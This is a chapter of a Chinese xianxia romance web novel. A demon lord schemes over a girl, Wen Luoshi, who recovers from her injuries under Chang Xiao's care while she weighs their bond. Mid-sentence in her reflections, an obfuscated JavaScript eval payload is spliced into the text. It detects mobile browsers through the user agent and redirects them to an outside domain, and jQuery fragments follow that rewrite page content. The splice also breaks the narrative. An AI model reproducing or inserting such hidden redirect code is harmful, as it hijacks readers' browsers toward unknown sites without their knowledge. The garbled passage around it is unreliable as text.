九重天,融雪城。
阴沉的府邸内,一人姿态随意放松,百无聊赖瘫坐在屏风前的软榻上,衣领微松,宽大的衣袖垂到地面,拖出逶迤的弧度。
听到跪在面前的那个血肉模糊的人颤抖着叙述着这些天的事情,他“啧啧”两声,饶有兴致地抬起头,眼神中尽是无辜的好奇。
“这事新奇了。”说着,他给自己抓了几把瓜子,又随口把瓜子皮往身边一吐,落了几片在面前归影的膝盖上。
而归影低头,呆呆看着带吐沫的瓜子皮飘到自己身上,大气不敢喘。哦不对,他这个身体状态,也没办法喘大气了。
于是,只见他瑟瑟发抖,回应道:“属下也觉得这事新奇了。”
坐榻上之人懒懒散散换了个姿势,思考了一番,自言自语道:“我看着他长大的啊,就他那性子,没人比我更清楚了。这么多年,多少女人往他面前凑,他连个眼皮都不带抬的,这次是咋了?脑子忽然出问题了?”
归影实在不敢接这话。毕竟,不管得罪了谁,他此刻的下场都只有惨和更惨的区别。
“那个啥,”塌上之人揉揉眉心,“你说你查了那个文姑娘,什么都没查出来?”
归影颤抖道:“是,属下认认真真查了她的身世,当真一清二白,且她身份低下,特别普通,跟朝廷更是八杆子打不着的关系。”
塌上之人随手甩开剩下的瓜子,一脸无奈。他倒是不怀疑归影查人的能力。往日里他甚至也不怀疑归影办事的能力,除了这次。
“嘶——有意思。”他思考了一段时间,挑眉道,“之前我这边也有几个人折在她手里,我还当她是个临时冒出来的,不会纠缠太久。现在看来,她非但没走,还让你们全都败在她手里了。你说,到底是因为她确实是个厉害角色,还是你们都太弱了?”
归影反应了好半天,才喃喃道:“您是说,您之前就知道她?而且,她还……”
“失策了,哎呦。我以为她没两天就走,谁想到粘了这么久。”那人也很是无奈,似是事情完全出乎意料。“还真得因为她,改改后续计划。”
归影龇牙咧嘴:“早知如此,属下绝不会狂妄到和她硬碰硬,扰局之人,就应该找机会把她直接毒死算了。”
“那不行,千万得留着她。这么有意思的一件事,我还没看够呢,怎么能草草收尾?”
归影一时不知道该说什么。
“行,没你事了,哪儿凉快哪儿待着去吧。”
归影大惊:“大人,您……”
您不杀我?
塌上之人忽然换上一副神秘的笑容:“将功补过了呀。”
见归影还在愣神,他又笑吟吟开口,用极为轻松的口吻继续道:“你跟我说了这么大件事,我今儿心情好,你就以后再死吧。至于别的,你修为已经被他废了吧?那正好,都不用我出手了。别碍眼,赶紧走。”
说罢,他大手一挥,归影像皮球一样飞出屋外,一摊烂泥模样的身体重重的摔在院子里,溅出无数滴墨绿色的血珠。
归影战战兢兢支撑着身体爬起来,趴在地上,用残破的袖子把血珠全部擦干净,才一瘸一拐地离去。
而屋中那人坐起身来,眯着眼睛看了看桌案上下了一半的棋盘。
“有意思……一个随随便便的小棋子,竟然跳出来公然挑衅执棋之人,啧啧,真是有意思。”
说着,他长袖一拂,满盘玉石棋子叮叮咣咣落地,如同淅淅沥沥的雨,打在地上,先后摔成无数碎片。
他走到屋中那块巨大的临渊寻魔石旁,指尖抬起,石镜上五颜六色的画面悄然涌出。
“行啊,继续跳,让我看看你怎么跳。”
*
三重天,赤缇城。
自打文落诗醒来,她的身体迅速好转。长晓那些千金难求的药材一个接着一个地往她身上砸,跟不要钱似的,给她受宠若惊坏了。
但每次她表示不敢用,长晓的脸色都是一冷,那种低气压瞬间蔓延开来,能吓死她。再或者,长晓也懒得跟她辩解,直接坐在床边,强制喂她喝药,一勺一勺亲自喂,也根本不管她张嘴时心脏跳得多厉害。
久而久之,她只能调整自己的心态,选择去心甘情愿接受这些。
有时候她实在忍不住,问出一句:“这些都是你私库里的啊?”
长晓依旧是抬起长长的浓密的睫毛,淡淡一笑,慵懒地反问:“不然呢?我还不至于假公济私。”
可能是都知道,如果再聊下去,下一句会说什么,两个不约而同选择了就此打住。
文落诗毕竟伤及本源,还差点把本源全部耗尽,再好的药材伺候,也得静下心来养个一年半载才能恢复如初。赤缇城环境优美,民生安稳,很适合过日子,而扶桑楼又正好是长晓手里最大的几个产业之一,所以长晓丝毫没有犹豫,和她在这里继续住了好几个月。
美其名曰养伤,实则,文落诗觉得,长晓是想借此进一步培养感情。
从他每天来看自己,亲手喂自己喝药,就显而易见。
感情啊。
自从想通这件事之后,文落诗也没那么害怕和排斥了。
她只是觉得意外,完全地、彻底地意外,甚至觉得自己的种种反应和情绪不可置信,反反复复怀疑了好久。
这么多年,她一直坚定以为,情爱这两个字,跟她一辈子不会扯上关系。哪怕她从小就看各种甜到掉牙的话本子,到现在也依旧爱看。哪怕她身边的各种朋友都在不断地追求、或者已经有了长厢厮守的人。
但是时至今日,这个过往将近一千八百年的观念,似乎正在动摇着。她好像在进入一种全新的世界,面对一种全新的生活状态。
——既是因为她真心愿意接纳长晓,也是长晓已经对她做了太多,她不得不回报这个恩情,愿意让他每天高兴些。
这些临时的,她还是给得起的。
但都不重要。只要守住了内心最深处的原则,也清楚知道两人承诺过,旅行的最后,到了融雪城,就会分开,那现在这些也没什么大不了的。
长晓对她有心思。她对长晓也有。但这都只是刚开始,没到不可挽回的地步。
她习惯了一个人生活,从来不考虑除此之外的生活方式。
她也习惯了一个人安稳,从来不考虑每天站在风口浪尖上的生活方式。
而且,两个人之间的身份太过于悬殊。哪怕清楚魔界这里只看感情、不看门第,她也不想顶着这么大的压力去高攀。
再者,她毫无背景,就算两人真的在一起,她什么都没有,没办法给长晓任何助力。从这一点讲,融雪城内任何一个有家世的姑娘,都比她合适太多。大战将近,这里当下的处境可以说是内忧外患,比天界惨多了。这个时间点,她往长晓身边凑,只会添乱。
故而,从任何一点讲,他们两个,都不可能、也不应该有结果。
她一向很清醒,知道自己要什么,不要什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433643|154738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
至于长晓……反正他们两个的事情,也没什么外人知道。就算有人知道了,也只不过是一段极为短暂、不起眼的露水姻缘,她离开后,不会对长晓产生任何影响。
就像是日暮之时,偶然飘到山巅之上的一片落叶。停留了一宿,破晓之时离去,山巅依旧巍峨,不会因这一片小小的落叶而有任何改变。
最重要的是……
他们都能靠自己一个人活得很好。不需要依赖另一个人而活。
她相信,在她离开后,他们都还有很长的路要走。那时候长晓若是真的有这方面心思,也一定能在以后的路途中,遇上更合适的人。
那个人会比自己更爱他。会陪他在明枪暗箭的政坛漩涡中傲然挺立。会陪他一起站在九重天的山巅上。会陪他开开心心地,走过接下来很长的后半辈子。
所以,不可惜,不遗憾。
若是问她真正是什么情绪,那她顶多会叹一口气,说一句“算了”,或是“就这样吧”。
*
接下来一年多的时间,文落诗在赤缇城内,目睹了大雪消融,冬日落幕,春意萌发,翠跃枝头。
反正闲来无事,她经常在前楼和后院坊间走动,人们见了她也频频问好。有时,路过假山石和小池塘,冬年里最后一场白雪轻柔压在红灿的梅花上,别有一番风韵。文落诗披个厚实的斗篷,在树下一坐就是大半天,听雪簌簌落在池塘的冰面上,看树上的花凌霜盛开。直到长晓说她身体情况太差,催她回屋取暖。
偶尔找个教习处,她也悄悄在后排坐下来,听听课,拿出长晓送她的蓝玉石琴,随手拨楞几下,弹弹许多年没弹过的曲子,还能得到长晓这个高人的夸奖。
这样毫无压力、随心所欲的生活,她从来没想过,自己竟然也可以拥有。
经常有人见到她,蹦蹦跳跳跑过来,说谢谢她送的糖。文落诗经常惊讶,这些看起来平平无奇、只是个扫院子的小厮模样的人,竟然也参与了之前那么复杂的查案。好几个人问她,到底该怎么称呼她,文落诗隐约知道他们想问什么,但面色不动,依旧笑笑说,当然是还叫我文姑娘。
后来,乍暖还寒时候,她这个体寒严重之人窝在屋里不愿意出门,整天没日没夜地写新稿子。长晓不想让她每天这么累,又怕她无聊,给她从外面买来了好几十本话本子。
文落诗盯着那一摞花花绿绿的话本子,一时哑然。
随后,她从几十本里挑出五六本。长晓问她怎么不看别的,她十分无奈,说剩下的那些,自己以前全都看过。
说实话,长晓那一刻彻底惊呆,刷新了对她的认知。
随即,他也随手拿起一本属于“文落诗看过”范畴的话本,正打算翻开,被文落诗急火火一把抢了过来。
“你别看!你千万别看!教坏了你!”
长晓思考了半天,这些书,他好像都是从正规的书局里买的啊。
那个,大概……是的吧?但愿他手下那群人办事的时候有点脑子,不至于乱来。
后来,晚上,长晓在文落诗已经睡着之后,给她施了个昏睡诀,保证她不会醒来后,便把她白天拼死守护的话本子翻开。
草率看完之后,他嘴角抽了又抽,再次刷新了对这个姑娘的认知。
平时见她老老实实的,高风亮节、冷冷清清,怎么看怎么正经的一个人,谁能想到,她这些年装进脑子里的全是这些。
这都什么乱七八糟的东西。